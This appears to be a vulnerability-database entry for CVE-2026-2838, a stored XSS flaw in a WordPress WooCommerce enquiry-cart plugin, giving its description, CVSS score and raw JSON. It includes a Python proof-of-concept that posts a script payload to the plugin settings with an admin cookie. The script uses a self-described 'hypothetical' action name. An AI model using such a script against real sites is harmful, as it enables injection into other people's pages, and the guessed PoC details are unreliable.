Security Vulnerability Report
中文
CVE-2026-2838 CVSS 4.4 MEDIUM

CVE-2026-2838

Published: 2026-04-08 07:16:21
Last Modified: 2026-04-27 19:04:23

Description

The Whole Enquiry Cart for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘woowhole_success_msg’ parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Whole Enquiry Cart for WooCommerce <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-wordpress-site.com/wp-admin/admin.php?page=woowhole-settings" # Attacker's admin cookie (Required due to PR:H) cookies = { "wordpress_logged_in_12345": "admin_session_token_here", "wp-settings-time-1": "1234567890" } # Vulnerable payload payload = '"><script>alert("CVE-2026-2838_POC");</script>' # Exploit data targeting the 'woowhole_success_msg' parameter post_data = { "woowhole_success_msg": payload, "action": "update_options", # Hypothetical action name "submit": "Save Changes" } try: # Send the malicious request response = requests.post(target_url, data=post_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the plugin settings page or frontend to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2838", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:20.707", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Whole Enquiry Cart for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘woowhole_success_msg’ parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/whole-cart-enquiry/trunk/admin.php#L53", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ddc14a98-1df8-480b-bae3-5ec057b498af?source=cve", "source": "[email protected]"}]}}